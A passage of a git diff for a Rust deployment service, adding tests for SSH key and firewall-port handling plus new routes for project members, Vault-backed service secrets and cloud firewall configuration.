+        assert_eq!(resolved.1.trim(), private_key.trim());
+    }
 
-        // Most providers need cloud_token; AWS needs cloud_key + cloud_secret
-        if token_empty && (key_empty || secret_empty) {
-            tracing::error!(
-                "Cloud credentials for cloud_id={} (provider={}) could not be decrypted. \
-                 Token empty: {}, Key empty: {}, Secret empty: {}",
-                cloud_id,
-                cloud.provider,
-                token_empty,
-                key_empty,
-                secret_empty,
-            );
-            return Err(JsonResponse::<models::Project>::build().bad_request(
-                "Cloud API credentials could not be decrypted. \
-                 Please delete and re-add your cloud credentials in Settings → Cloud Providers.",
-            ));
-        }
+    #[test]
+    fn ensure_trailing_newline_appends_when_missing() {
+        assert_eq!(ensure_trailing_newline("abc".to_string()), "abc\n");
     }
 
-    // Handle server: if server_id provided, update existing; otherwise create new
-    let server = if let Some(server_id) = form.server.server_id {
-        // Update existing server
-        let existing = db::server::fetch(pg_pool.get_ref(), server_id)
-            .await
-            .map_err(|_| {
-                JsonResponse::<models::Server>::build().internal_server_error("Failed to fetch server")
-            })?
-            .ok_or_else(|| {
-                JsonResponse::<models::Server>::build().not_found("Server not found")
-            })?;
+    #[test]
+    fn ensure_trailing_newline_is_noop_when_present() {
+        // Already terminated — must not double up the newline.
+        assert_eq!(ensure_trailing_newline("abc\n".to_string()), "abc\n");
+    }
 
-        // Verify ownership
-        if existing.user_id != user.id {
-            return Err(JsonResponse::<models::Server>::build().not_found("Server not found"));
-        }
+    // BUGFIX (2026-07-08) regression guard — OpenSSH rejects a key file that
+    // lacks a trailing newline (`error in libcrypto` → `Permission denied`).
+    // A provided key whose newline was stripped upstream must be restored
+    // before it leaves this service.
+    #[test]
+    fn resolve_provided_ssh_keypair_restores_trailing_newline() {
+        let (_public_key, private_key) =
+            crate::helpers::vault::VaultClient::generate_ssh_keypair().expect("test keypair");
+        // Simulate the upstream trim that stripped the trailing newline.
+        let trimmed = private_key.trim_end().to_string();
+        assert!(
+            !trimmed.ends_with('\n'),
+            "precondition: key has no trailing newline"
+        );
+        let form = forms::server::ServerForm {
+            ssh_private_key: Some(trimmed),
+            ..Default::default()
+        };
 
-        let mut server = existing;
-        server.disk_type = form.server.disk_type.clone();
-        server.region = form.server.region.clone();
-        server.server = form.server.server.clone();
-        server.zone = form.server.zone.clone().or(server.zone);
-        server.os = form.server.os.clone();
-        server.project_id = id;
-        // Preserve existing srv_ip if form doesn't provide one
-        server.srv_ip = form.server.srv_ip.clone().or(server.srv_ip);
-        server.ssh_user = form.server.ssh_user.clone().or(server.ssh_user);
-        server.ssh_port = form.server.ssh_port.or(server.ssh_port);
-        server.name = form.server.name.clone().or(server.name);
-        if form.server.connection_mode.is_some() {
-            server.connection_mode = form.server.connection_mode.clone().unwrap();
-        }
-        server.cloud_id = Some(cloud_id);
+        let resolved = resolve_provided_ssh_keypair(&form)
+            .expect("valid keypair")
+            .expect("keypair should be present");
 
-        db::server::update(pg_pool.get_ref(), server)
-            .await
-            .map_err(|_| {
-                JsonResponse::<models::Server>::build().internal_server_error("Failed to update server")
-            })?
-    } else {
-        // Create new server
-        let mut server: models::Server = (&form.server).into();
-        server.user_id = user.id.clone();
-        server.project_id = id;
-        server.cloud_id = Some(cloud_id);
+        assert!(
+            resolved.1.ends_with('\n'),
+            "resolved private key must end with a trailing newline"
+        );
+    }
 
-        db::server::insert(pg_pool.get_ref(), server)
-            .await
-            .map_err(|_| {
-                JsonResponse::<models::Server>::build().internal_server_error("Failed to create server")
-            })?
-    };
+    // ---- derive_public_ports_from_metadata --------------------------------
+    // Regression guard: public ports set per-app in the web UI (Stack Builder)
+    // are stored as host-published `shared_ports`; they must be surfaced as
+    // cloud-firewall rules or the deployed app is unreachable at the provider.
 
-    // Ensure every deploy payload carries the Stacker public key so the Install
-    // Service can inject it into authorized_keys on the remote server.
-    // - If the server has no active key yet: generate one, store in Vault, capture public key.
-    // - If the key is already active: fetch the public key from Vault.
-    let mut new_public_key: Option<String> = None;
-    let mut captured_private_key: Option<String> = None;
-    let server = if server.key_status != "active" {
-        match VaultClient::generate_ssh_keypair() {
-            Ok((public_key, private_key)) => {
-                match vault_client
-                    .get_ref()
-                    .store_ssh_key(&user.id, server.id, &public_key, &private_key)
-                    .await
-                {
-                    Ok(vault_path) => {
-                        tracing::info!(
-                            "Auto-generated SSH key for server {} (vault_key_path: {})",
-                            server.id,
-                            vault_path
-                        );
-                        new_public_key = Some(public_key);
-                        captured_private_key = Some(private_key);
-                        db::server::update_ssh_key_status(
-                            pg_pool.get_ref(),
-                            server.id,
-                            Some(vault_path),
-                            "active",
-                        )
-                        .await
-                        .unwrap_or_else(|e| {
-                            tracing::warn!("Failed to update SSH key status: {}", e);
-                            server
-                        })
-                    }
-                    Err(e) => {
-                        tracing::warn!(
-                            "Failed to store auto-generated SSH key in Vault for server {}: {}",
-                            server.id,
-                            e
-                        );
-                        server
-                    }
-                }
+    #[test]
+    fn derive_public_ports_collects_host_published_ports_across_app_groups() {
+        let metadata = json!({
+            "custom": {
+                "web": [{
+                    "shared_ports": [
+                        {"host_port": "80", "container_port": "8080"},
+                        {"host_port": "443", "container_port": "8443", "protocol": "tcp"}
+                    ]
+                }],
+                "service": [{
+                    "shared_ports": [
+                        {"host_port": "53", "container_port": "53", "protocol": "udp"}
+                    ]
+                }],
+                "feature": [{
+                    "shared_ports": [
+                        {"host_port": "9000", "container_port": "9000"}
+                    ]
+                }]
             }
-            Err(e) => {
-                tracing::warn!(
-                    "Failed to auto-generate SSH keypair for server {}: {}",
-                    server.id,
-                    e
-                );
-                server
+        });
+
+        let ports = derive_public_ports_from_metadata(&metadata);
+
+        assert_eq!(ports, vec!["80/tcp", "443/tcp", "53/udp", "9000/tcp"]);
+    }
+
+    #[test]
+    fn derive_public_ports_excludes_loopback_bound_mappings() {
+        // A database bound to 127.0.0.1 is intentionally host-local and must
+        // never be opened at the provider edge. host_ip may be embedded in the
+        // container_port field, exactly as the compose builder parses it.
+        let metadata = json!({
+            "custom": {
+                "service": [{
+                    "shared_ports": [
+                        {"host_port": "", "container_port": "127.0.0.1:5432:5432"},
+                        {"host_port": "127.0.0.1", "container_port": "6379:6379"},
+                        {"host_port": "8000", "container_port": "8000"}
+                    ]
+                }]
             }
-        }
-    } else {
-        // Key already in Vault — fetch the public key so the Install Service can
-        // append it to authorized_keys on every deploy (idempotent on the remote side).
-        match vault_client
-            .get_ref()
-            .fetch_ssh_public_key(&user.id, server.id)
-            .await
-        {
-            Ok(pk) => {
-                tracing::info!(
-                    "Fetched existing public key from Vault for server {}",
-                    server.id
-                );
-                new_public_key = Some(pk);
+        });
+
+        let ports = derive_public_ports_from_metadata(&metadata);
+
+        // Only the genuinely public 8000 survives.
+        assert_eq!(ports, vec!["8000/tcp"]);
+    }
+
+    #[test]
+    fn derive_public_ports_skips_unpublished_ports() {
+        // A shared_port without a host_port is internal-only (not published to
+        // the host) and therefore never opens a firewall rule.
+        let metadata = json!({
+            "custom": {
+                "service": [{
+                    "shared_ports": [
+                        {"host_port": "", "container_port": "6379"},
+                        {"container_port": "5672"}
+                    ]
+                }]
             }
-            Err(e) => {
-                tracing::warn!(
-                    "Failed to fetch public key from Vault for server {}: {}",
-                    server.id,
-                    e
-                );
+        });
+
+        assert!(derive_public_ports_from_metadata(&metadata).is_empty());
+    }
+
+    #[test]
+    fn derive_public_ports_dedupes_repeated_ports() {
+        let metadata = json!({
+            "custom": {
+                "web": [{ "shared_ports": [{"host_port": "80", "container_port": "8080"}] }],
+                "service": [{ "shared_ports": [{"host_port": "80", "container_port": "80"}] }]
             }
-        }
-        server
-    };
+        });
 
-    // For "own" flow (existing server with IP), SSH access is required.
-    // If we couldn't set up the SSH key, fail early instead of letting the
-    // Install Service crash when it cannot find the key.
-    let has_existing_ip = server.srv_ip.as_ref().map_or(false, |ip| !ip.is_empty());
-    if has_existing_ip && new_public_key.is_none() && server.vault_key_path.is_none() {
-        tracing::error!(
-            "Cannot deploy to existing server {} (IP: {:?}): SSH key is not available. \
-             vault_key_path is None and key generation failed.",
-            server.id,
-            server.srv_ip,
-        );
-        return Err(JsonResponse::<models::Project>::build().bad_request(
-            "SSH key is not available for this server. \
-             Please generate an SSH key first with `stacker ssh-key generate` \
-             or re-add your server with SSH credentials.",
-        ));
+        assert_eq!(derive_public_ports_from_metadata(&metadata), vec!["80/tcp"]);
     }
 
-    // Store deployment attempts into deployment table in db
-    let json_request = dc.project.metadata.clone();
-    let deployment_hash = format!("deployment_{}", Uuid::new_v4());
-    let deployment = models::Deployment::new(
-        dc.project.id,
-        Some(user.id.clone()),
-        deployment_hash.clone(),
-        String::from("pending"),
-        "runc".to_string(),
-        json_request,
-    );
+    #[test]
+    fn derive_public_ports_handles_missing_or_empty_custom() {
+        assert!(derive_public_ports_from_metadata(&json!({})).is_empty());
+        assert!(derive_public_ports_from_metadata(&json!({"custom": {}})).is_empty());
+        assert!(derive_public_ports_from_metadata(&json!({"custom": {"web": []}})).is_empty());
+        // Malformed shared_ports entries are tolerated, not panicked on.
+        let malformed = json!({
+            "custom": {"web": [{"shared_ports": [{"container_port": "not-a-number"}, 42]}]}
+        });
+        assert!(derive_public_ports_from_metadata(&malformed).is_empty());
+    }
 
-    let result = db::deployment::insert(pg_pool.get_ref(), deployment)
-        .await
-        .map_err(|_| {
-            JsonResponse::<models::Project>::build().internal_server_error("Internal Server Error")
-        })?;
+    #[test]
+    fn embedded_marketplace_compose_extracts_from_config_files() {
+        let compose_yaml = "version: '3.8'\nservices:\n  ghost:\n    image: ghost:5-alpine\n";
+        let metadata = json!({
+            "custom": {
+                "marketplace_config_files": [
+                    {"name": "docker-compose.yml", "content": compose_yaml}
+                ]
+            }
+        });
+        let result = embedded_marketplace_compose(&metadata);
+        assert_eq!(result.as_deref(), Some(compose_yaml));
+    }
 
-    let deployment_id = result.id;
+    #[test]
+    fn embedded_marketplace_compose_returns_none_when_empty() {
+        let metadata = json!({"custom": {"marketplace_config_files": []}});
+        assert!(embedded_marketplace_compose(&metadata).is_none());
 
-    tracing::debug!("Save deployment result: {:?}", result);
+        let metadata = json!({"custom": {}});
+        assert!(embedded_marketplace_compose(&metadata).is_none());
 
-    // For "own" flow, fetch the SSH private key from Vault so the Install Service
-    // can SSH into the server directly without relying on Redis-cached file paths.
-    let new_private_key = if server.vault_key_path.is_some() {
-        // For newly generated keys, use the in-memory value to avoid an extra Vault round-trip.
-        // For existing servers (re-deployment), fetch from Vault.
-        if let Some(pk) = captured_private_key {
-            Some(pk)
-        } else {
-            match vault_client
-                .get_ref()
-                .fetch_ssh_key(&user.id, server.id)
-                .await
-            {
-                Ok(pk) => {
-                    tracing::info!("Fetched SSH private key from Vault for server {}", server.id);
-                    Some(pk)
-                }
-                Err(e) => {
-                    tracing::warn!(
-                        "Failed to fetch SSH private key from Vault for server {}: {}",
-                        server.id, e
-                    );
-                    None
-                }
-            }
-        }
-    } else {
-        None
-    };
+        let metadata = json!({});
+        assert!(embedded_marketplace_compose(&metadata).is_none());
+    }
 
-    // Delegate to install service connector (determines own vs tfa routing)
-    install_service
-        .deploy(
-            user.id.clone(),
-            user.email.clone(),
-            id,
-            deployment_id,
-            deployment_hash,
-            &dc.project,
-            cloud,
-            server,
-            &form.stack,
-            form.registry.clone(),
-            fc,
-            mq_manager.get_ref(),
-            new_public_key,
-            new_private_key,
-        )
-        .await
-        .map(|project_id| {
-            JsonResponse::<models::Project>::build()
-                .set_id(project_id)
-                .set_meta(serde_json::json!({ "deployment_id": deployment_id }))
-                .ok("Success")
-        })
-        .map_err(|err| JsonResponse::<models::Project>::build().internal_server_error(err))
+    #[test]
+    fn embedded_marketplace_compose_ignores_non_compose_files() {
+        let metadata = json!({
+            "custom": {
+                "marketplace_config_files": [
+                    {"name": ".env", "content": "KEY=value"},
+                    {"name": "nginx.conf", "content": "server {}"}
+                ]
+            }
+        });
+        assert!(embedded_marketplace_compose(&metadata).is_none());
+    }
 }
diff --git a/src/routes/project/discover.rs b/src/routes/project/discover.rs
index 084b720c..9c6389cc 100644
--- a/src/routes/project/discover.rs
+++ b/src/routes/project/discover.rs
@@ -6,13 +6,21 @@
 use crate::db;
 use crate::helpers::JsonResponse;
 use crate::models::{self, ProjectApp};
+use crate::project_app::{is_platform_managed_app_code, normalize_app_code};
 use actix_web::{get, post, web, Responder, Result};
 use serde::{Deserialize, Serialize};
 use serde_json::json;
 use sqlx::PgPool;
 use std::sync::Arc;
 
-const BLOCKED_SYSTEM_CONTAINERS: [&str; 3] = ["status", "status_agent", "telegraf"];
+const BLOCKED_SYSTEM_CONTAINERS: [&str; 6] = [
+    "nginx_proxy_manager",
+    "status",
+    "status_agent",
+    "statuspanel",
+    "statuspanel_agent",
+    "telegraf",
+];
 
 /// Discovered container that's not registered in project_app
 #[derive(Debug, Serialize, Clone)]
@@ -100,20 +108,29 @@ pub async fn discover_containers(
         return Err(JsonResponse::not_found("Project not found"));
     }
 
-    // Get deployment_hash from query or find it from project
+    // Get deployment_hash from query, the active project agent, or the latest
+    // deployment record. Active agent state is preferred because command
+    // history is keyed by the hash currently heartbeating, while the latest
+    // deployment row may be newer and still lack command results.
     let deployment_hash = match &query.deployment_hash {
         Some(hash) => hash.clone(),
         None => {
-            // Try to find a deployment for this project
-            let deployment = db::deployment::fetch_by_project_id(pg_pool.get_ref(), project_id)
+            if let Some(agent) = db::agent::fetch_active_by_project(pg_pool.get_ref(), project_id)
                 .await
-                .map_err(|e| JsonResponse::internal_server_error(e))?;
-
-            deployment.map(|d| d.deployment_hash).ok_or_else(|| {
-                JsonResponse::not_found(
-                    "No deployment found for project. Please provide deployment_hash",
-                )
-            })?
+                .map_err(|e| JsonResponse::internal_server_error(e))?
+            {
+                agent.deployment_hash
+            } else {
+                let deployment = db::deployment::fetch_by_project_id(pg_pool.get_ref(), project_id)
+                    .await
+                    .map_err(|e| JsonResponse::internal_server_error(e))?;
+
+                deployment.map(|d| d.deployment_hash).ok_or_else(|| {
+                    JsonResponse::not_found(
+                        "No deployment found for project. Please provide deployment_hash",
+                    )
+                })?
+            }
         }
     };
 
@@ -354,7 +371,11 @@ pub async fn import_containers(
     let mut errors = Vec::new();
 
     for container in &body.containers {
-        if is_blocked_system_container(&container.container_name, &container.image, Some(&container.app_code)) {
+        if is_blocked_system_container(
+            &container.container_name,
+            &container.image,
+            Some(&container.app_code),
+        ) {
             errors.push(format!(
                 "Container '{}' is a system container and cannot be imported",
                 container.container_name
@@ -552,34 +573,52 @@ fn capitalize(s: &str) -> String {
 }
 
 fn is_blocked_system_container(container_name: &str, image: &str, app_code: Option<&str>) -> bool {
-    let mut candidates: Vec<String> = vec![normalize_container_token(container_name)];
+    let mut candidates: Vec<String> = vec![normalize_app_code(container_name)];
 
     if let Some(code) = app_code {
-        candidates.push(normalize_container_token(code));
+        candidates.push(normalize_app_code(code));
     }
 
     if let Some(compose_parts) = extract_compose_service(container_name) {
-        candidates.push(normalize_container_token(&compose_parts.service));
+        candidates.push(normalize_app_code(&compose_parts.service));
     }
 
     if let Some(img_name) = image.split('/').last() {
         if let Some(name_without_tag) = img_name.split(':').next() {
-            candidates.push(normalize_container_token(name_without_tag));
+            candidates.push(normalize_app_code(name_without_tag));
         }
     }
 
-    candidates
-        .iter()
-        .any(|candidate| BLOCKED_SYSTEM_CONTAINERS.contains(&candidate.as_str()))
+    candidates.iter().any(|candidate| {
+        BLOCKED_SYSTEM_CONTAINERS.contains(&candidate.as_str())
+            || is_platform_managed_app_code(candidate)
+    })
 }
 
-fn normalize_container_token(value: &str) -> String {
-    value
-        .trim_start_matches('/')
-        .trim()
-        .to_lowercase()
-        .split(['-', '_'])
-        .filter(|part| !part.is_empty())
-        .collect::<Vec<&str>>()
-        .join("_")
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn blocks_platform_managed_nginx_proxy_manager_container() {
+        assert!(is_blocked_system_container(
+            "nginx-proxy-manager",
+            "jc21/nginx-proxy-manager:latest",
+            None,
+        ));
+        assert!(is_blocked_system_container(
+            "project-nginx_proxy_manager-1",
+            "jc21/nginx-proxy-manager:latest",
+            Some("nginx_proxy_manager"),
+        ));
+    }
+
+    #[test]
+    fn does_not_block_regular_application_container() {
+        assert!(!is_blocked_system_container(
+            "project-coolify-1",
+            "coollabsio/coolify:latest",
+            Some("coolify"),
+        ));
+    }
 }
diff --git a/src/routes/project/get.rs b/src/routes/project/get.rs
index c56e8571..7c5aa9e8 100644
--- a/src/routes/project/get.rs
+++ b/src/routes/project/get.rs
@@ -27,6 +27,18 @@ pub async fn item(
         })
 }
 
+#[tracing::instrument(name = "Get shared project list.", skip_all)]
+#[get("/shared")]
+pub async fn shared_list(
+    user: web::ReqData<Arc<models::User>>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    db::project::fetch_shared_by_user(pg_pool.get_ref(), &user.id)
+        .await
+        .map_err(|err| JsonResponse::internal_server_error(err))
+        .map(|projects| JsonResponse::build().set_list(projects).ok("OK"))
+}
+
 #[tracing::instrument(name = "Get project list.", skip_all)]
 #[get("")]
 pub async fn list(
diff --git a/src/routes/project/member.rs b/src/routes/project/member.rs
new file mode 100644
index 00000000..e9e538a2
--- /dev/null
+++ b/src/routes/project/member.rs
@@ -0,0 +1,100 @@
+use crate::db;
+use crate::helpers::JsonResponse;
+use crate::models;
+use actix_web::{delete, get, post, web, HttpResponse, Responder, Result};
+use serde::Deserialize;
+use sqlx::PgPool;
+use std::sync::Arc;
+
+#[derive(Debug, Deserialize)]
+pub struct AddProjectMemberRequest {
+    pub user_id: String,
+    pub role: String,
+}
+
+async fn fetch_owned_project(
+    pool: &PgPool,
+    project_id: i32,
+    user_id: &str,
+) -> Result<models::Project, actix_web::Error> {
+    let project = db::project::fetch(pool, project_id)
+        .await
+        .map_err(|err| JsonResponse::<models::ProjectMember>::build().internal_server_error(err))?
+        .ok_or_else(|| JsonResponse::<models::ProjectMember>::build().not_found("not found"))?;
+
+    if project.user_id != user_id {
+        return Err(JsonResponse::<models::ProjectMember>::build().not_found("not found"));
+    }
+
+    Ok(project)
+}
+
+#[tracing::instrument(name = "Share project with member", skip_all)]
+#[post("/{id}/members")]
+pub async fn add(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(i32,)>,
+    payload: web::Json<AddProjectMemberRequest>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let project_id = path.0;
+
+    let _project = fetch_owned_project(pg_pool.get_ref(), project_id, &user.id).await?;
+
+    if payload.role != "viewer" {
+        return Err(JsonResponse::<models::ProjectMember>::build()
+            .bad_request("Only viewer role is supported"));
+    }
+
+    let member = db::project_member::upsert(
+        pg_pool.get_ref(),
+        project_id,
+        &payload.user_id,
+        &payload.role,
+        &user.id,
+    )
+    .await
+    .map_err(|err| JsonResponse::<models::ProjectMember>::build().internal_server_error(err))?;
+
+    Ok(JsonResponse::build().set_item(member).ok("OK"))
+}
+
+#[tracing::instrument(name = "List project members", skip_all)]
+#[get("/{id}/members")]
+pub async fn list(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(i32,)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let project_id = path.0;
+
+    let _project = fetch_owned_project(pg_pool.get_ref(), project_id, &user.id).await?;
+
+    let members = db::project_member::fetch_by_project(pg_pool.get_ref(), project_id)
+        .await
+        .map_err(|err| JsonResponse::<models::ProjectMember>::build().internal_server_error(err))?;
+
+    Ok(JsonResponse::build().set_list(members).ok("OK"))
+}
+
+#[tracing::instrument(name = "Delete project member", skip_all)]
+#[delete("/{id}/members/{member_user_id}")]
+pub async fn delete(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(i32, String)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let (project_id, member_user_id) = path.into_inner();
+
+    let _project = fetch_owned_project(pg_pool.get_ref(), project_id, &user.id).await?;
+
+    let deleted = db::project_member::delete(pg_pool.get_ref(), project_id, &member_user_id)
+        .await
+        .map_err(|err| JsonResponse::<models::ProjectMember>::build().internal_server_error(err))?;
+
+    if !deleted {
+        return Err(JsonResponse::<models::ProjectMember>::build().not_found("not found"));
+    }
+
+    Ok(HttpResponse::NoContent().finish())
+}
diff --git a/src/routes/project/mod.rs b/src/routes/project/mod.rs
index 9fea92c1..e9ed79b6 100644
--- a/src/routes/project/mod.rs
+++ b/src/routes/project/mod.rs
@@ -5,6 +5,8 @@ pub(crate) mod delete;
 pub mod deploy;
 pub mod discover;
 pub mod get;
+pub mod member;
+pub mod secret;
 pub mod update;
 
 pub use add::item;
diff --git a/src/routes/project/secret.rs b/src/routes/project/secret.rs
new file mode 100644
index 00000000..8ee94c4b
--- /dev/null
+++ b/src/routes/project/secret.rs
@@ -0,0 +1,177 @@
+use crate::db;
+use crate::forms::{RemoteSecretMetadataResponse, UpsertRemoteSecretRequest};
+use crate::helpers::JsonResponse;
+use crate::models;
+use crate::services::VaultService;
+use actix_web::{delete, get, put, web, Responder, Result};
+use serde_json::json;
+use serde_valid::Validate;
+use sqlx::PgPool;
+use std::sync::Arc;
+
+async fn fetch_owned_project_and_app(
+    pool: &PgPool,
+    user: &models::User,
+    project_id: i32,
+    app_code: &str,
+) -> Result<(models::Project, models::ProjectApp), actix_web::Error> {
+    let project = db::project::fetch(pool, project_id)
+        .await
+        .map_err(JsonResponse::internal_server_error)?
+        .ok_or_else(|| JsonResponse::not_found("Project not found"))?;
+
+    if project.user_id != user.id {
+        return Err(JsonResponse::not_found("Project not found"));
+    }
+
+    let app = db::project_app::fetch_by_project_and_code(pool, project_id, app_code)
+        .await
+        .map_err(JsonResponse::internal_server_error)?
+        .ok_or_else(|| JsonResponse::not_found("App not found"))?;
+
+    Ok((project, app))
+}
+
+fn build_vault(
+    settings: &crate::configuration::Settings,
+) -> Result<VaultService, actix_web::Error> {
+    VaultService::from_settings(&settings.vault)
+        .map_err(|error| JsonResponse::internal_server_error(error.to_string()))
+}
+
+#[tracing::instrument(name = "List service secrets", skip_all)]
+#[get("/{project_id}/apps/{code}/secrets")]
+pub async fn list(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(i32, String)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let (project_id, code) = path.into_inner();
+    let (_project, _app) =
+        fetch_owned_project_and_app(pg_pool.get_ref(), &user, project_id, &code).await?;
+
+    let items: Vec<RemoteSecretMetadataResponse> =
+        db::remote_secret::list_service_secrets(pg_pool.get_ref(), &user.id, project_id, &code)
+            .await
+            .map_err(JsonResponse::internal_server_error)?
+            .into_iter()
+            .map(Into::into)
+            .collect();
+
+    Ok(JsonResponse::build()
+        .set_list(items)
+        .set_meta(json!({
+            "project_id": project_id,
+            "app_code": code
+        }))
+        .ok("OK"))
+}
+
+#[tracing::instrument(name = "Get service secret metadata", skip_all)]
+#[get("/{project_id}/apps/{code}/secrets/{name}")]
+pub async fn item(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(i32, String, String)>,
+    pg_pool: web::Data<PgPool>,
+) -> Result<impl Responder> {
+    let (project_id, code, name) = path.into_inner();
+    let (_project, _app) =
+        fetch_owned_project_and_app(pg_pool.get_ref(), &user, project_id, &code).await?;
+
+    let secret = db::remote_secret::fetch_service_secret(
+        pg_pool.get_ref(),
+        &user.id,
+        project_id,
+        &code,
+        &name,
+    )
+    .await
+    .map_err(JsonResponse::internal_server_error)?
+    .ok_or_else(|| JsonResponse::not_found("Secret not found"))?;
+
+    Ok(JsonResponse::build()
+        .set_item(RemoteSecretMetadataResponse::from(secret))
+        .ok("OK"))
+}
+
+#[tracing::instrument(name = "Upsert service secret", skip_all)]
+#[put("/{project_id}/apps/{code}/secrets/{name}")]
+pub async fn upsert(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(i32, String, String)>,
+    body: web::Json<UpsertRemoteSecretRequest>,
+    pg_pool: web::Data<PgPool>,
+    settings: web::Data<crate::configuration::Settings>,
+) -> Result<impl Responder> {
+    let (project_id, code, name) = path.into_inner();
+    let (_project, _app) =
+        fetch_owned_project_and_app(pg_pool.get_ref(), &user, project_id, &code).await?;
+    body.validate()
+        .map_err(|e| JsonResponse::bad_request(e.to_string()))?;
+
+    let vault = build_vault(settings.get_ref())?;
+    let vault_path = vault.service_secret_path(&user.id, project_id, &code, &name);
+    vault
+        .store_secret_value(&vault_path, &body.value)
+        .await
+        .map_err(|error| JsonResponse::internal_server_error(error.to_string()))?;
+
+    let secret = db::remote_secret::upsert_service_secret(
+        pg_pool.get_ref(),
+        &user.id,
+        project_id,
+        &code,
+        &name,
+        &vault_path,
+        &user.id,
+        "synced",
+    )
+    .await
+    .map_err(JsonResponse::internal_server_error)?;
+
+    Ok(JsonResponse::build()
+        .set_item(RemoteSecretMetadataResponse::from(secret))
+        .ok("OK"))
+}
+
+#[tracing::instrument(name = "Delete service secret", skip_all)]
+#[delete("/{project_id}/apps/{code}/secrets/{name}")]
+pub async fn delete(
+    user: web::ReqData<Arc<models::User>>,
+    path: web::Path<(i32, String, String)>,
+    pg_pool: web::Data<PgPool>,
+    settings: web::Data<crate::configuration::Settings>,
+) -> Result<impl Responder> {
+    let (project_id, code, name) = path.into_inner();
+    let (_project, _app) =
+        fetch_owned_project_and_app(pg_pool.get_ref(), &user, project_id, &code).await?;
+
+    let secret = db::remote_secret::fetch_service_secret(
+        pg_pool.get_ref(),
+        &user.id,
+        project_id,
+        &code,
+        &name,
+    )
+    .await
+    .map_err(JsonResponse::internal_server_error)?
+    .ok_or_else(|| JsonResponse::not_found("Secret not found"))?;
+
+    let vault = build_vault(settings.get_ref())?;
+    vault
+        .delete_secret_value(&secret.vault_path)
+        .await
+        .map_err(|error| JsonResponse::internal_server_error(error.to_string()))?;
+
+    db::remote_secret::delete_secret_by_id(pg_pool.get_ref(), secret.id)
+        .await
+        .map_err(JsonResponse::internal_server_error)?;
+
+    Ok(JsonResponse::<String>::build()
+        .set_meta(json!({
+            "deleted": true,
+            "name": name,
+            "scope": "service"
+        }))
+        .ok("OK"))
+}
diff --git a/src/routes/project/update.rs b/src/routes/project/update.rs
index 4c815c62..de101b99 100644
--- a/src/routes/project/update.rs
+++ b/src/routes/project/update.rs
@@ -2,6 +2,7 @@ use crate::db;
 use crate::forms::project::{DockerImageReadResult, ProjectForm};
 use crate::helpers::JsonResponse;
 use crate::models;
+use crate::project_app;
 use actix_web::{put, web, Responder, Result};
 use serde_json::Value;
 use serde_valid::Validate;
@@ -22,7 +23,7 @@ pub async fn item(
         .map_err(JsonResponse::internal_server_error)
         .and_then(|project| match project {
             Some(project) if project.user_id != user.id => {
-                Err(JsonResponse::bad_request("Project not found"))
+                Err(JsonResponse::not_found("Project not found"))
             }
             Some(project) => Ok(project),
             None => Err(JsonResponse::not_found("Project not found")),
@@ -52,7 +53,7 @@ pub async fn item(
         }
     }
 
-    let metadata: Value = serde_json::to_value::<ProjectForm>(form)
+    let metadata: Value = serde_json::to_value::<ProjectForm>(form.clone())
         .or(serde_json::to_value::<ProjectForm>(ProjectForm::default()))
         .unwrap();
 
@@ -60,15 +61,26 @@ pub async fn item(
     project.metadata = metadata;
     project.request_json = request_json;
 
-    db::project::update(pg_pool.get_ref(), project)
+    let project = db::project::update(pg_pool.get_ref(), project)
         .await
-        .map(|project| {
-            JsonResponse::<models::Project>::build()
-                .set_item(project)
-                .ok("success")
-        })
         .map_err(|err| {
             tracing::error!("Failed to execute query: {:?}", err);
             JsonResponse::internal_server_error("")
-        })
+        })?;
+
+    project_app::sync_project_level_apps_from_form(pg_pool.get_ref(), project.id, &form)
+        .await
+        .map_err(|err| {
+            tracing::error!("Failed to execute query: {:?}", err);
+            tracing::error!(
+                "Failed to sync project-level apps for project {} after update: {}",
+                project.id,
+                err
+            );
+            JsonResponse::internal_server_error("")
+        })?;
+
+    Ok(JsonResponse::<models::Project>::build()
+        .set_item(project)
+        .ok("success"))
 }
diff --git a/src/routes/server/cloud_firewall.rs b/src/routes/server/cloud_firewall.rs
new file mode 100644
index 00000000..819f618b
--- /dev/null
+++ b/src/routes/server/cloud_firewall.rs
@@ -0,0 +1,615 @@
+use std::collections::BTreeMap;
+use std::sync::Arc;
+
+use actix_web::{post, web, Responder, Result};
+use sqlx::PgPool;
+
+use crate::connectors::install_service::InstallServiceConnector;
+use crate::db;
+use crate::forms::cloud_firewall::{
+    default_firewall_name, idempotency_key, normalize_provider, routing_key, rules_from_request,
+    validate_request, CloudFirewallAction, CloudFirewallCredentials, CloudFirewallDetails,
+    CloudFirewallOperationMessage, CloudFirewallProviderRule, CloudFirewallRequestedBy,
+    CloudFirewallTarget, ConfigureCloudFirewallRequest, ConfigureCloudFirewallResponse,
+    CLOUD_FIREWALL_PROTOCOL_VERSION,
+};
+use crate::helpers::{JsonResponse, MqManager};
+use crate::models;
+
+#[tracing::instrument(name = "Configure cloud firewall for server.", skip_all)]
+#[post("/{id}/cloud-firewall")]
+pub async fn configure(
+    path: web::Path<(i32,)>,
+    user: web::ReqData<Arc<models::User>>,
+    form: web::Json<ConfigureCloudFirewallRequest>,
+    pg_pool: web::Data<PgPool>,
+    mq_manager: web::Data<MqManager>,
+    install_service: web::Data<Arc<dyn InstallServiceConnector>>,
+) -> Result<impl Responder> {
+    let server_id = path.0;
+    let action = validate_request(&form)
+        .map_err(|err| JsonResponse::<ConfigureCloudFirewallResponse>::build().bad_request(err))?;
+
+    let server = db::server::fetch(pg_pool.get_ref(), server_id)
+        .await
+        .map_err(|err| {
+            JsonResponse::<ConfigureCloudFirewallResponse>::build().internal_server_error(err)
+        })
+        .and_then(|server| match server {
+            Some(server) if server.user_id == user.id => Ok(server),
+            _ => Err(JsonResponse::<ConfigureCloudFirewallResponse>::build()
+                .not_found("Server not found")),
+        })?;
+
